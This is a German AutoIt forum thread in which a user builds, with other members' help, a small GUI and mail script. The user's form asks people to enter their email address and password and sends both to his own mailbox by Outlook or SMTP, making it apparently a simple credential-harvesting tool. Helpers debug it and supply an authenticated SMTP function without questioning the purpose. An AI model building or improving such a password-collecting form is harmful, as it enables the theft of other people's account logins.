Email senden.

  • Hallo!

    Ich möchte einen Script machen!

    Also...: ich habe mein eig. Gui und da soll der user seine e-mail und sein alter eintragen!
    Diese informationen möchte ich denn als mail oder so geschickt bekommen ... geht sowas ?

    Danke Karl


    Screenshot:

    [Blockierte Grafik: http://warlenny.funsurf.org/News.JPG]

  • hi,

    versuche mal das hier. musst nur etwas anpassen mit dem aus deine GUI. Grundsätzlich ist es möglich.

    Spoiler anzeigen
    [autoit]

    #include <inet.au3>

    [/autoit] [autoit][/autoit] [autoit]

    Func _badmail();Outlook Fehlermail
    $Address= ("xxx@xx.de ");hier Adresse
    $Subject= ("");hier Betreff
    $Body = ("");Body
    If $PID Then
    _INetMail($address, $subject, $Body)
    Sleep(5000)
    Send("!s")
    Else
    Run($Outlook2003)
    WinWaitActive("Posteingang - Microsoft Outlook")
    _INetMail($address, $subject, $Body)
    Sleep(5000)
    Send("!s")
    Sleep(1500)
    Send("!{F4}")
    EndIf
    EndFunc

    [/autoit]

    mfg taucher

    :P Streite nie mit einem Idioten
    Erst zieht er dich auf sein Niveau herunter und schlägt dich dort mit seiner Erfahrung :D

  • Hallo KARLderNOOB .

    Du solltest aber zuvor prüfen, welches Outlook der User hat. Was ist, wenn der User Outllok-Express hat oder ein Outlook, das dazwischen erschienen ist?

    Ansonsten werde ich das Thema mal im Auge behalten und schauen, wo ich dann weiter helfen kann.

    Lieben Gruß,
    Alina

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Geheime Information: ;)
    k3mrwmIBHejryPvylQSFieDF5f3VOnk6iLAVBGVhKQegrFuWr3iraNIblLweSW4WgqI0SrRbS7U5jI3sn50R4a15Cthu1bEr

  • Hallo Ihr! Danke für eure schnellen antworten!

    Ich habe selber mal versucht:

    [autoit]

    #include <GUIConstants.au3>
    #include <INet.au3>
    #Region ### START Koda GUI section ### Form=
    $Form1 = GUICreate("AForm1", 168, 178, 193, 115)
    $MAIL = GUICtrlCreateInput("Mail", 0, 32, 121, 21)
    $Label1 = GUICtrlCreateLabel("Trage hier bitte deine E-mail ein!", 0, 72, 142, 17)
    $MAIL = GUICtrlCreateInput("Passwort", 0, 96, 121, 21)
    $Label2 = GUICtrlCreateLabel("Trage hier bitte dein Passwort ein!", 8, 16, 156, 17)
    $Button1 = GUICtrlCreateButton("Senden", 8, 136, 121, 33, 0)
    GUISetState(@SW_SHOW)
    #EndRegion ### END Koda GUI section ###
    $Address = "bla@bla.de"
    $Subject = "^^"
    $Body = $MAIL
    While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
    Case $GUI_EVENT_CLOSE
    Exit

    Case $Button1
    MsgBox(0,'E-Mail has been opened','The E-Mail has been opened and process identifier for the E-Mail client is ' & _INetMail($address, $subject, $Body))
    EndSwitch
    WEnd

    [/autoit]


    So hab ich es mir Erstmal vorgestellt aber wenn ihc auf "Senden" klicke steht in der mail nur "5"! könntet ihr mir helfen ?

    danke karl

    Einmal editiert, zuletzt von KARLderNOOB (16. September 2007 um 19:01)

  • GuiControls muss man auch erst auslesen, bevor man an die Daten kommt:

    [autoit]


    $Body = GuiCTRLRead($MAIL)

    [/autoit]


    Hier in deinem Code:

    [autoit]

    #include <GUIConstants.au3>
    #include <INet.au3>
    #Region ### START Koda GUI section ### Form=
    $Form1 = GUICreate("AForm1", 168, 178, 193, 115)
    $MAIL = GUICtrlCreateInput("Mail", 0, 32, 121, 21)
    $Label1 = GUICtrlCreateLabel("Trage hier bitte deine E-mail ein!", 0, 72, 142, 17)
    $MAIL = GUICtrlCreateInput("Passwort", 0, 96, 121, 21)
    $Label2 = GUICtrlCreateLabel("Trage hier bitte dein Passwort ein!", 8, 16, 156, 17)
    $Button1 = GUICtrlCreateButton("Senden", 8, 136, 121, 33, 0)
    GUISetState(@SW_SHOW)
    #EndRegion ### END Koda GUI section ###
    $Address = "bla@bla.de"
    $Subject = "^^"
    $Body = GuiCTRLRead($MAIL)
    While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
    Case $GUI_EVENT_CLOSE
    Exit

    Case $Button1
    MsgBox(0,'E-Mail has been opened','The E-Mail has been opened and process identifier for the E-Mail client is ' & _INetMail($address, $subject, $Body))
    EndSwitch
    WEnd

    [/autoit]

    //Edit: Och nee, da war jemand schneller ^^

    Einmal editiert, zuletzt von progandy (16. September 2007 um 19:12)

  • Danke!

    Ich habe es so gemacht:

    [autoit]

    #include <GUIConstants.au3>
    #include <INet.au3>
    #Region ### START Koda GUI section ### Form=
    $Form1 = GUICreate("AForm1", 168, 178, 193, 115)
    $MAIL1 = GUICtrlCreateInput("mail", 0, 32, 121, 21)
    $Label1 = GUICtrlCreateLabel("hmm", 0, 72, 142, 17)
    $MAIL = GUICtrlCreateInput("Passwort", 0, 96, 121, 21)
    $Label2 = GUICtrlCreateLabel("pw", 8, 16, 156, 17)
    $Button1 = GUICtrlCreateButton("Senden", 8, 136, 121, 33, 0)
    GUISetState(@SW_SHOW)
    #EndRegion ### END Koda GUI section ###
    $Address = "warlenny@hotmail.de"
    $Subject = GuiCtrlRead($Mail1)
    $Body = GuiCtrlRead($MAIL)
    While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
    Case $GUI_EVENT_CLOSE
    Exit

    Case $Button1
    MsgBox(0,'E-Mail has been opened','The E-Mail has been opened and process identifier for the E-Mail client is ' & _INetMail($address, $subject, $Body))
    EndSwitch
    WEnd

    [/autoit]


    Aber in der mail steht nur als betreff "mail"
    und als body "Passwort" ... ??? könnt ihrm ir helfen ?
    danköö


    Könnte der Script vom POrinzip her so Aussehen ?

    2 Mal editiert, zuletzt von KARLderNOOB (16. September 2007 um 19:56)

  • $Address = "warlenny@hotmail.de"
    $Subject = GuiCtrlRead($Mail1)
    $Body = GuiCtrlRead($MAIL)

    das sollte dahin gehören:

    Case $Button1
    $Address = "warlenny@hotmail.de"
    $Subject = GuiCtrlRead($Mail1)
    $Body = GuiCtrlRead($MAIL)


    MsgBox(0,'E-Mail has been opened','The E-Mail has been opened and process identifier for the E-Mail client is ' & _INetMail($address, $subject, $Body))
    EndSwitch

  • Jop Super!


    Vielen Dank euch allen ^^ ... suuuuupi =)

    Okay ich hab doch noch ein kleines Prob.!

    Wenn er bei outlook !s also alt + s senden soll passiert nix
    also er sendet die nachricht nicht .. hmmm

    könnt ihr mir helfen `?

    Edit2: Ein bisschen unklar... ^^
    Also alt + s ist der hotkey für den SENDEN button ..^^

    2 Mal editiert, zuletzt von KARLderNOOB (16. September 2007 um 20:38)

    • Offizieller Beitrag

    Warum willst du Outlook verwenden?
    Mit der Funktion _INetSmtpMailCom() kannst du doch direkt mailen.

    Und wenn es unbedingt Outlook sein soll, dann verwende es nicht mit Send() sondern als Objekt. Findest du was Passendes in der Suche unter Outlook.
    Zu den verfügbareb Methoden google mal nach 'Outlook Object Model'.

  • Hallo !
    Also ich habe es jetzt so gemacht :

    Spoiler anzeigen
    [autoit]

    $Address = "Bla@gmx.net"
    $Subject = GuiCtrlRead($Betreff)
    $Body = GuiCtrlRead($MAIL)
    $s_SmtpServer = "mail.gmx.net"
    $s_FromName = "Karl"
    $s_FromAddress = "bla@gmx.net"
    $s_ToAddress = "bla@hotmail.de"
    $s_Subject = $Subject
    $as_Body = $Body
    $Email = _INetSmtpMail ( $s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress ,$s_Subject ,$as_Body)
    $err = @error
    If $Email = 1 Then
    MsgBox(0, "Success!", "Mail sent")
    Else
    MsgBox(0, "Error!", "Mail failed with error code " & $err)
    EndIf

    [/autoit]

    Aber wo muss ich mein Passwort und meine E-Mail addresse als athentifizierung angeben ??


    Vielen Dank im Vorraus ^^

    2 Mal editiert, zuletzt von KARLderNOOB (17. September 2007 um 16:26)

    • Offizieller Beitrag

    Hi,

    versuch mal

    Spoiler anzeigen
    [autoit]

    #include <INet.au3>

    [/autoit] [autoit][/autoit] [autoit]

    $s_SmtpServer = "mail.gmx.net"
    $s_FromName = ""
    $s_FromAddress = ""
    $s_ToAddress = ""
    $s_Subject = "My Test UDF"
    $s_UName = ""
    $s_PWD = ""
    Dim $as_Body[2]
    $as_Body[0] = "Testing the new email udf"
    $as_Body[1] = "Second Line"
    $Response = _INetSmtpMailAuth($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_UName, $s_PWD, $s_Subject, $as_Body)
    ;~ $Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
    $err = @error
    If $Response = 1 Then
    MsgBox(0, "Success!", "Mail sent")
    Else
    MsgBox(0, "Error!", "Mail failed with error code " & $err)
    EndIf

    [/autoit] [autoit][/autoit] [autoit]

    ;===============================================================================
    ;
    ; Function Name: _INetSmtpMailAuth()
    ; Description: Sends an email using SMTP over TCP IP.
    ; Parameter(s): $s_SmtpServer - SMTP server to be used for sending email
    ; $s_FromName - Name of sender
    ; $s_FromAddress - eMail address of sender
    ; $s_ToAddress - Address that email is to be sent to
    ; $s_Username - Username for Authentication (bernd670)
    ; $s_Passwd - Password for Authentication (bernd670)
    ; $s_Subject - Subject of eMail
    ; $as_Body - Single dimension array containing the body of eMail as strings
    ; $s_helo - Helo identifier (default @COMPUTERNAME) sometime needed by smtp server
    ; $s_first - send before Helo identifier (default @CRLF) sometime needed by smtp server
    ; $b_trace - trace on a splash window (default 0 = no trace)
    ; Requirement(s): None
    ; Return Value(s): On Success - Returns 1
    ; On Failure - 0 and sets
    ; @ERROR = 1 - Invalid Parameters
    ; @ERROR = 2 - Unable to start TCP
    ; @ERROR = 3 - Unable to resolve IP
    ; @ERROR = 4 - Unable to create socket
    ; @ERROR = 5x - Cannot open SMTP session
    ; @ERROR = 50x - Cannot send body
    ; @ERROR = 5000 - Cannot close SMTP session
    ; Authors: Original function to send email via TCP - Asimzameer
    ; Conversion to UDF - Walkabout
    ; Correction Helo, timeout, trace - Jpm
    ; Correction send before Helo - Jpm
    ; Include Authentication - bernd670
    ;
    ;===============================================================================
    Func _INetSmtpMailAuth($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Username, $s_Passwd, $s_Subject = "", $as_Body = "", $s_helo = "", $s_first = "-1", $b_trace = 0)

    Local $v_Socket
    Local $s_IPAddress
    Local $i_Count
    Local $s_Send[9]
    Local $s_ReplyCode[9];Return code from SMTP server indicating success

    If $s_SmtpServer = "" Or $s_FromAddress = "" Or $s_ToAddress = "" Or $s_Username = "" Or $s_Passwd = "" Or $s_FromName = "" Or StringLen($s_FromName) > 256 Then
    SetError(1)
    Return 0
    EndIf
    If $s_helo = "" Then $s_helo = @ComputerName
    If TCPStartup() = 0 Then
    SetError(2)
    Return 0
    EndIf
    StringRegExp($s_SmtpServer, "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)")
    If @extended Then
    $s_IPAddress = $s_SmtpServer
    Else
    $s_IPAddress = TCPNameToIP($s_SmtpServer)
    EndIf
    If $s_IPAddress = "" Then
    TCPShutdown()
    SetError(3)
    Return 0
    EndIf
    $v_Socket = TCPConnect($s_IPAddress, 25)
    If $v_Socket = -1 Then
    TCPShutdown()
    SetError(4)
    Return (0)
    EndIf

    $s_Send[0] = "EHLO " & $s_helo & @CRLF
    ;~ If StringLeft($s_helo,5) <> "EHLO " Then $s_Send[0] = "EHLO " & $s_helo & @CRLF
    $s_ReplyCode[0] = "250"

    [/autoit] [autoit][/autoit] [autoit]

    $s_Send[1] = "AUTH LOGIN" & @CRLF
    $s_ReplyCode[1] = "334"
    $s_Send[2] = _Base64Encoding($s_Username) & @CRLF
    $s_ReplyCode[2] = "334"
    $s_Send[3] = _Base64Encoding($s_Passwd) & @CRLF
    $s_ReplyCode[3] = "235"
    $s_Send[4] = "MAIL FROM: <" & $s_FromAddress & ">" & @CRLF
    $s_ReplyCode[4] = "250"
    $s_Send[5] = "RCPT TO: <" & $s_ToAddress & ">" & @CRLF
    $s_ReplyCode[5] = "250"
    $s_Send[6] = "DATA" & @CRLF
    $s_ReplyCode[6] = "354"

    $s_Send[7] = "From: " & $s_FromName & " <" & $s_FromAddress & ">" & @CRLF & _
    "To: " & "<" & $s_ToAddress & ">" & @CRLF & _
    "Subject: " & $s_Subject & @CRLF & _
    "Mime-Version: 1.0" & @CRLF & _
    "Content-Type: text/plain; charset=US-ASCII" & @CRLF & _
    @CRLF
    $s_ReplyCode[7] = ""

    $s_Send[8] = @CRLF & "." & @CRLF
    $s_ReplyCode[8] = "250"

    [/autoit] [autoit][/autoit] [autoit]

    ; open stmp session
    If _SmtpSend ($v_Socket, $s_Send[0], $s_ReplyCode[0], $b_trace, "220", $s_first) Then
    SetError(50)
    Return 0
    EndIf

    [/autoit] [autoit][/autoit] [autoit]

    ; send header
    For $i_Count = 0 To UBound($s_Send) - 2
    If _SmtpSend ($v_Socket, $s_Send[$i_Count], $s_ReplyCode[$i_Count], $b_trace) Then
    SetError(50 + $i_Count)
    Return 0
    EndIf
    Next

    ; send body records (a record can be multiline : take care of a subline beginning with a dot should be ..)
    For $i_Count = 0 To UBound($as_Body) - 1
    ; correct line beginning with a dot
    If StringLeft($as_Body[$i_Count], 1) = "." Then $as_Body[$i_Count] = "." & $as_Body[$i_Count]

    If _SmtpSend ($v_Socket, $as_Body[$i_Count] & @CRLF, "", $b_trace) Then
    SetError(500 + $i_Count)
    Return 0
    EndIf
    Next

    ; close the smtp session
    $i_Count = UBound($s_Send) - 1
    If _SmtpSend ($v_Socket, $s_Send[$i_Count], $s_ReplyCode[$i_Count], $b_trace) Then
    SetError(5000)
    Return 0
    EndIf

    TCPCloseSocket($v_Socket)
    TCPShutdown()
    Return 1
    EndFunc ;==>_INetSmtpMailAuth

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;===============================================================================
    ;
    ; Function Name: _Base64Encoding()
    ; Description: Kodiert eine Zeichenfolge mit dem Base64-Verfahren
    ; (http://de.wikipedia.org/wiki/Base64)
    ; Parameter(s): $String - Zeichenfolge die kodiert werden soll
    ; Requirement(s): None
    ; Return Value(s): Kodierte Zeichenfolge
    ; Authors: bernd670
    ;
    ;===============================================================================
    Func _Base64Encoding($String)

    [/autoit] [autoit][/autoit] [autoit]

    $strUmsetzung = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    $strRetValue = ""

    [/autoit] [autoit][/autoit] [autoit]

    For $i = 1 To StringLen($String) Step 3
    $strTok = StringMid($String, $i, 3)
    Switch StringLen($strTok)
    Case 3
    $iTokVal = (Asc(StringMid($strTok, 1, 1)) * 256 + _
    Asc(StringMid($strTok, 2, 1))) * 256 + _
    Asc(StringMid($strTok, 3, 1))
    $strTokCryt = StringMid($strUmsetzung, (BitAND($iTokVal, 63)) + 1, 1)
    $iTokVal = BitShift($iTokVal, 6)
    $strTokCryt = StringMid($strUmsetzung, (BitAND($iTokVal, 63)) + 1, 1) & $strTokCryt
    $iTokVal = BitShift($iTokVal, 6)
    $strTokCryt = StringMid($strUmsetzung, (BitAND($iTokVal, 63)) + 1, 1) & $strTokCryt
    $iTokVal = BitShift($iTokVal, 6)
    $strTokCryt = StringMid($strUmsetzung, (BitAND($iTokVal, 63)) + 1, 1) & $strTokCryt
    $strRetValue &= $strTokCryt

    [/autoit] [autoit][/autoit] [autoit]

    Case 2
    $iTokVal = (Asc(StringMid($strTok, 1, 1)) * 256 + _
    Asc(StringMid($strTok, 2, 1))) * 256
    $iTokVal = BitShift($iTokVal, 6)
    $strTokCryt = StringMid($strUmsetzung, (BitAND($iTokVal, 63)) + 1, 1)
    $iTokVal = BitShift($iTokVal, 6)
    $strTokCryt = StringMid($strUmsetzung, (BitAND($iTokVal, 63)) + 1, 1) & $strTokCryt
    $iTokVal = BitShift($iTokVal, 6)
    $strTokCryt = StringMid($strUmsetzung, (BitAND($iTokVal, 63)) + 1, 1) & $strTokCryt
    $strRetValue &= $strTokCryt & "="

    [/autoit] [autoit][/autoit] [autoit]

    Case 1
    $iTokVal = Asc(StringMid($strTok, 1, 1)) * 65536
    $iTokVal = BitShift($iTokVal, 12)
    $strTokCryt = StringMid($strUmsetzung, (BitAND($iTokVal, 63)) + 1, 1)
    $iTokVal = BitShift($iTokVal, 6)
    $strTokCryt = StringMid($strUmsetzung, (BitAND($iTokVal, 63)) + 1, 1) & $strTokCryt
    $strRetValue &= $strTokCryt & "=="

    [/autoit] [autoit][/autoit] [autoit]

    EndSwitch
    Next

    [/autoit] [autoit][/autoit] [autoit]

    Return $strRetValue
    EndFunc ;==>_Base64Encoding

    [/autoit]

    So long,

    Mega

  • Grüß dich Xeno!

    Ich habe mich einfach frecherweise den Code hier "geklaut", habe dann

    $s_SmtpServer = "mail.gmx.net"
    $s_FromName = "+++"
    $s_FromAddress = "+++"
    $s_ToAddress = "+++"
    $s_Subject = "My Test UDF"
    $s_UName = "+++"
    $s_PWD = "+++"

    geändert in meine Zugangsdaten, aber er steigt mit einem Errorcode 51 aus!

    Woran kanns liegen? wie gesagt, Code ist quasi so, wie hier nur die Benutzerdaten haben sich halt geändert

  • hmmm bin ja voll heavy, keine Firewall (auch nicht WindowsFirewall. Auf der anderen Seite, das manuelle versenden per Outlook funzt ja auch), Virenscanner ist auch keiner drauf!

    Noch weitere Ideen?

    Gruß Volumeman